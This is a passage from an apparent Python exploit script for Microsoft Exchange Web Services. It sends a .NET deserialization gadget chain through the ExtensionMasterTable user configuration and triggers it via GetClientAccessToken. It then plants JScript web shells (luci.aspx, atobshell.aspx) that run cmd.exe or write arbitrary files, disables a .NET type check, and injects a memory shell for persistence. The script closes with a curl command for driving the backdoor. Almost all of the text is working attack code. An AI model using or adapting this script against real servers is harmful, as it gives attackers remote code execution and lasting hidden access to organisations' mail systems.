lcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JDAAAAAoJDAAAAAkXAAAACRUAAAAKCw=='
def sendPayload(gadgetChain):
get_inbox = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013" />
</soap:Header>
<soap:Body>
<m:GetFolder>
<m:FolderShape>
<t:BaseShape>AllProperties</t:BaseShape>
</m:FolderShape>
<m:FolderIds>
<t:DistinguishedFolderId Id="inbox" />
</m:FolderIds>
</m:GetFolder>
</soap:Body>
</soap:Envelope>
'''
headers = {"User-Agent": "ExchangeServicesClient/15.01.2308.008", "Content-type" : "text/xml; charset=utf-8"}
res = requests.post(target + "/ews/exchange.asmx",
data=get_inbox,
headers=headers,
verify=False,
auth=HttpNtlmAuth('%s' % (USER),
PASS))
folderId = res.content.split('<t:FolderId Id="')[1].split('"')[0]
changeKey = res.content.split('<t:FolderId Id="' + folderId + '" ChangeKey="')[1].split('"')[0]
delete_old = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013" />
</soap:Header>
<soap:Body>
<m:DeleteUserConfiguration>
<m:UserConfigurationName Name="ExtensionMasterTable">
<t:FolderId Id="%s" ChangeKey="%s" />
</m:UserConfigurationName>
</m:DeleteUserConfiguration>
</soap:Body>
</soap:Envelope>''' % (folderId, changeKey)
res = requests.post(target + "/ews/exchange.asmx",
data=delete_old,
headers=headers,
verify=False,
auth=HttpNtlmAuth('%s' % (USER),
PASS))
create_usr_cfg = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013" />
</soap:Header>
<soap:Body>
<m:CreateUserConfiguration>
<m:UserConfiguration>
<t:UserConfigurationName Name="ExtensionMasterTable">
<t:FolderId Id="%s" ChangeKey="%s" />
</t:UserConfigurationName>
<t:Dictionary>
<t:DictionaryEntry>
<t:DictionaryKey>
<t:Type>String</t:Type>
<t:Value>OrgChkTm</t:Value>
</t:DictionaryKey>
<t:DictionaryValue>
<t:Type>Integer64</t:Type>
<t:Value>637728170914745525</t:Value>
</t:DictionaryValue>
</t:DictionaryEntry>
<t:DictionaryEntry>
<t:DictionaryKey>
<t:Type>String</t:Type>
<t:Value>OrgDO</t:Value>
</t:DictionaryKey>
<t:DictionaryValue>
<t:Type>Boolean</t:Type>
<t:Value>false</t:Value>
</t:DictionaryValue>
</t:DictionaryEntry>
<t:DictionaryEntry>
<t:DictionaryKey>
<t:Type>String</t:Type>
<t:Value>OrgExtV</t:Value>
</t:DictionaryKey>
<t:DictionaryValue>
<t:Type>Integer32</t:Type>
<t:Value>2147483647</t:Value>
</t:DictionaryValue>
</t:DictionaryEntry>
</t:Dictionary>
<t:BinaryData>%s</t:BinaryData>
</m:UserConfiguration>
</m:CreateUserConfiguration>
</soap:Body>
</soap:Envelope>''' % (folderId, changeKey, gadgetChain)
res = requests.post(target + "/ews/exchange.asmx",
data=create_usr_cfg,
headers=headers,
verify=False,
auth=HttpNtlmAuth('%s' % (USER),
PASS))
get_client_ext = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013" />
</soap:Header>
<soap:Body>
<m:GetClientAccessToken>
<m:TokenRequests>
<t:TokenRequest>
<t:Id>aaaa</t:Id>
<t:TokenType>CallerIdentity</t:TokenType>
</t:TokenRequest>
</m:TokenRequests>
</m:GetClientAccessToken>
</soap:Body>
</soap:Envelope>
'''
res = requests.post(target + "/ews/exchange.asmx",
data=get_client_ext,
headers=headers,
verify=False,
auth=HttpNtlmAuth('%s' % (USER),
PASS))
sendPayload(shell_write_gadget)
headers = {"User-Agent": "ExchangeServicesClient/15.01.2308.008", "Content-type" : "text/xml; charset=utf-8"}
cmd_result = requests.get(target + "/aspnet_client/luci.aspx?cmd=Response.Write(new ActiveXObject('WScript.Shell').Exec('cmd.exe /c " + cmd + "').StdOut.ReadAll());", headers=headers, verify=False)
print("[+] first payload request url: ", cmd_result.url)
print("[+] luci shell write success, whoami command output: ", cmd_result.text.encode('utf-8').split("\r\n"))
print("[+] luci shell name: luci.aspx, contents: a<script language='JScript' runat='server' Page aspcompat=true>function Page_Load(){eval(Request['cmd'],'unsafe');}</script>")
sendPayload(shell_write_gadget1)
print("[+] second payload request sended...")
print("[+] a to b shell write success...")
print("[+] a to b shell name: atobshell.aspx, contents: a<%@ Page Language=\'JScript\' Debug=\'true\'%><%@Import Namespace=\'System.IO\'%><%File.WriteAllBytes(Request[\'b\'], Convert.FromBase64String(Request[\'a\']));%>")
print("[+] change DisableActivitySurrogateSelectorTypeCheck to True to overcome the limitation of .NET ...")
sendPayload(disable_check)
print("[+] use origing TypeConfuseDelegate to pop calc on target system ...")
sendPayload(pop_calc)
print("[+] inject memshell for persistence...")
sendPayload(inject_memshell)
print("[+] now run: curl http://target:80/favicon.ico -H 'Type: cmd' -d 'pass=whoami'")